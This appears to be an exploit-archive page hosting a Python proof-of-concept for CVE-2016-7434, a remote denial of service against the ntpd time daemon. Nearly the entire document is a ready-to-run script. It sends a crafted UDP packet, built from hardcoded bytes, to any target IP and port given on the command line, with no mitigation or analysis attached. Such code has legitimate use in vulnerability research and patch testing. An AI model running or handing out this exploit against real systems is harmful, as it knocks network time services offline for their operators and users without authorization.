4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit.py PY
#!/usr/bin/env python
# -*- coding: utf-8 -*-

"""
    CVE-2016-7434 ntpd remote DOS by opsxcq (github.com/opsxcq/) 
"""

from sys import argv, exit
import socket
from argparse import ArgumentParser

def exploit(target, port):
    """CVE-2016-7434  exploit"""
    buffer="\x16\x0a\x00\x10\x00\x00\x00\x00\x00\x00\x00\x36\x6e\x6f\x6e\x63\x65\x2c\x20\x6c\x61\x64\x64\x72\x3d\x5b\x5d\x3a\x48\x72\x61\x67\x73\x3d\x33\x32\x2c\x20\x6c\x61\x64\x64\x72\x3d\x5b\x5d\x3a\x57\x4f\x50\x00\x32\x2c\x20\x6c\x61\x64\x64\x72\x3d\x5b\x5d\x3a\x57\x4f\x50\x00\x00"
    # Create a datagram socket
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.sendto(buffer, (target, port))
    print("[+] Exploit sent, please test the target\n")


if __name__ == "__main__":
    ap = ArgumentParser(description="CVE-2016-7434 ntpd remote DOS")
    ap.add_argument("-t", "--target", required=True, help="Target's IP address")
    ap.add_argument("-p", "--port", required=False, type=int, help="port where ntpd is running")
    args = vars(ap.parse_args())

    try:
        print("[*] Starting CVE-2016-7434 ntpd remote DOS")
        exploit(args["target"], args["port"])
    except IOError:
        exit("[!] Error sending packets")
    except KeyboardInterrupt:
        print("\n[*] Stopping the exploit")